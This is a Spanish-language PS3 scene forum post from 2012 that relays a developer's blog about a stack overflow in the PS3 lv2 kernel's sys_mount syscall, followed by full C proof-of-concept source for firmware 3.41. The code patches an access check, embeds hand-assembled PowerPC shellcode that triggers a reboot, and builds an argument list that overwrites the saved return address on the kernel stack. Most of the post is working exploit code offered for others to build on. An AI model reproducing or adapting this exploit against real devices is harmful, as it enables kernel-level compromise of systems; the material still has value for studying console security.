SceneZeta

  1. Exploit Lv2_Kernel por Naehrwert

    By Zrandi il 20 Sep. 2012
     
    Like       0 Comments   51 Views
    .
    Hola amigos de la scena PS3, hoy os taremos una buena noticia al parecer el desarrollador Naehrwert ya conocido por tantas herramientas y allazgos en PS3 con la ayuda de kakaroto, porque mas o menos es el mismo metodo de exploit que el uso en su dia.
    Nos cuenta que este metodo de exploit funcionaria en todos los firmwares actuales y hasta en el actual 4.25.

    ::imagen::


    lv2


    Os detallamos acontinuacion la explicacion de el mismo en su blog:
    QUOTE
    Hace un largo tiempo Kakaroto me señaló unas formas de realizarlo en el lv2_kernel. Pero hay dos problemas:

    La vulnerabilidad se encuentra en un sistema protegido (el llamado SELF llegó a tener el 0 × 40 ... control flags set).
    Así que en primer lugar había que encontrar un modo de usuarlo apropiadamente ( y no nos pida), que le da a la ejecución de código con los privilegios adecuados.
    El payload se copia en lv2 y la función va a hacer una carga antes que el payload, asi tiene alguna oportunidad de ser ejecutado.

    Aquí está mi ejemplo de implementación de 3,41 lv2_kernel (aunque la vulnerabilidad debe estar presente en todas las versiones de lv2 hasta el último firmware), tal vez alguien de ustedes encontrarán una manera de superar el problema y puede conseguir algo bonito fuera de ella porque en este momento es sólo bueno para crash el lv2.

    PS3 LV2_Kernel Exploit sample implementation:

    QUOTE
    /*
    * lv2 sys_mount stack overflow
    * Original finder: KaKaRoTo (thank you for pointing it out!)
    * Note: all offsets/values/addrs in this source are 3.41 specific
    */

    #include <stdio.h>
    #include <ppu-types.h>
    #include <ppu-lv2.h>

    /*
    unk2, unk3 is what we're going to use here.
    lv2 will handle unk2, unk3 like this:
    char *strlist[FIXED_SIZE]; //On stack.
    for(i = 0; i < unk3; i++)
    strlist[i] = strdup_from_uspace(*unk2++);
    */
    static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/,
    u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
    {
    lv2syscall8(837, (u64)dev, (u64)fs, (u64)path,
    (u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
    return_to_user_prog(s64);
    }

    //For testing.
    static void patch_access_check()
    {
    //check_access @ 0x80000000000505D0
    //li r3, 1 ; blr
    lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
    printf("[*] DEBUG: access check patched.\n");
    }

    int main(int argc, const char **argv)
    {
    //Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
    //Solution: Find a usermode exploit in a SELF that has them set.

    //Patch the ctrl flags check for testing.
    patch_access_check();

    //Nop.
    char nop[] = "X";

    //Payload.
    char payload[] =
    {
    //Insert valid PPC code here (without 0x00 bytes)
    //and hope lv2 heap 0x27 is executable and 0x04 aligned.
    0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
    0x38, 0xE7, 0x01, 0x10, //addi r7, r7, 0x110
    0x78, 0xE7, 0x83, 0xE4, //sldi r7, r7, 16
    0x78, 0xE7, 0x07, 0xC6, //sldi r7, r7, 32
    0x60, 0xE7, 0x91, 0x34, //ori r7, r7, 0x9134
    0x7C, 0xE9, 0x03, 0xA6, //mtctr r7 ; 0x8000000000009134 (sys_sm_shutdown)
    0x38, 0x60, 0x02, 0x10, //li r3, 0x210
    0x38, 0x63, 0xFF, 0xF0, //addi r3, r3, -0x10 ; 0x200 (reboot)
    0x7C, 0x84, 0x22, 0x78, //xor r4, r4, r4 ; 0
    0x7C, 0xA5, 0x2A, 0x78, //xor r5, r5, r5 ; 0
    0x7C, 0xC6, 0x32, 0x78, //xor r6, r6, r6 ; 0
    0x4E, 0x80, 0x04, 0x20, //bctr
    //End of payload.
    0x00
    };

    //List containing the entries.
    //stack frame size is 0x1C0
    //strlist = framptr + 0xE0
    //remaining stack frame size is 0xE0 (28 * 8)
    #define LIST_LENGTH (28 + 2 + 1)
    const char *list[LIST_LENGTH] =
    {
    //-0xE0
    //Overwrite stack with nop entries (0xE0 bytes).
    nop, nop, nop, nop, nop, nop, nop, nop, //0x40
    nop, nop, nop, nop, nop, nop, nop, nop, //0x80
    nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
    nop, nop, nop, nop,
    //0x00
    //Fill 0x10 bytes to reach saved r0.
    nop, nop,
    //+0x10
    //Overwrite saved r0 with a pointer to our payload.
    payload
    };

    //Doit!
    printf("[*] Taking the plunge...\n");
    s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
    printf("[*] Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);

    return 0;

    Fuente:nwert.exploiting-lv2
      Share  
     
    .